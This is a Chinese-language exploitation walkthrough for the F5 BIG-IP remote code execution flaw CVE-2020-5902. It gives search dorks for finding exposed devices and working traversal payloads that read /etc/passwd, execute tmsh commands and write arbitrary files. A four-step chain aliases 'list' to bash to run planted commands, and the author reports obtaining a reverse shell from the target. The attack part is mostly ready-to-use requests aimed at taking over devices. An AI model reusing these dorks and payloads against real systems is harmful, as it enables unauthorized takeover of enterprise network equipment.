F5 BIG-IP RCE(CVE-2020-5902) 漏洞利用,获取shell
阅读原文时间:2021年04月20日阅读:1

F5 BIG-IP 远程代码执行漏洞(CVE-2020-5902) 漏洞利用


0x01 漏洞详情

最近各大平台都在推送F5 BIG-IP 远程代码执行漏洞。漏洞编号为CVE-2020-5902。

BIG-IP ADC广泛应用于大型企业,数据中心、云计算平台中,可以实现应用加速、负载均衡、SLL过载、web应用防火墙等功能。

未认证的攻击者可以通过发送伪造的恶意HTTP请求到含有TMUI工具的具有漏洞的服务器来远程利用该漏洞。成功利用该漏洞可以完全控制设备的管理员权限,无需授权就可以在被黑的设备上执行任意命令。

未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。

0x02 影响范围

0x03 设备检索
以下是F5 BIG-IP设备在各大检索平台的检索规则

shodan
http.favicon.hash:-335242539

http.title:“BIG-IP&reg ;- Redirect”

fofa
title=“BIG-IP&reg ;- Redirect”

censys
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5

443.https.get.title:“BIG-IP&reg ;- Redirect”

google
inurl:“tmui/login.jsp”

intitle:“BIG-IP” inurl:“tmui”

0x04 漏洞复现

这个漏洞复现很简单,这里jas502n 大神在github中已经给出了漏洞的各种复现的情况

读取文件 Read File

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd


执行命令 RCE

POC:

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

这里的list 这些命令是防火墙自己定义的Tmsh命令。想了解请点击这个地址https://clouddocs.f5.com/api/tmsh/Other.html

其中list 代表bash 命令

根据POC执行,我用burpsuite 执行的很不稳定,如下图,我是用python 运行的。说明此漏洞是存在的。

写入文件 Upload File & 查看文件内容 File Read

这个漏洞还可以向文件中写入任意信息,因此这个漏洞后续在获取控制权限中可以利用

POC:

https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/22&content=hello tiger!


查看内容 File Read
诸位可以看到文件可以写入,并且创建文件txt

0x05 漏洞利用(控制设备,获取shell)

接下来讲漏洞利用的获取shell 的部分,我根据GitHub中各种公开的漏洞poc都没有成功获取shell。 另外,公布的msf中的exploit,我始终运行不起来,找不到原因,也有可能是脚本本身就不够完善就发布了。于是我通过msf脚本的利用方式,结合一些公开的信息。另外构造了python编写的exploit。

这里获取shell。 用的是python 的方式,当然也可以用其他的方式获取权限。这里就不一一概述。

漏洞利用主要分为四步

先创建执行命令的模式,也就是讲list 设置为 bash
向创建的文件中写入要执行的命令
利用前面讲list设置为bash 的命令来执行文件中的命令
清空list设置
分别对应以下四步:

  1. tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
  2. fileSave.jsp?fileName=/tmp/cmd&content=id
  3. tmshCmd.jsp?command=list+/tmp/cmd
  4. tmshCmd.jsp?command=delete+cli+alias+private+list

运行EXP:
将list设置为bash

讲命令写入文件中

执行文件中的命令

监听结果:
成功的监听到了设备反弹的shell。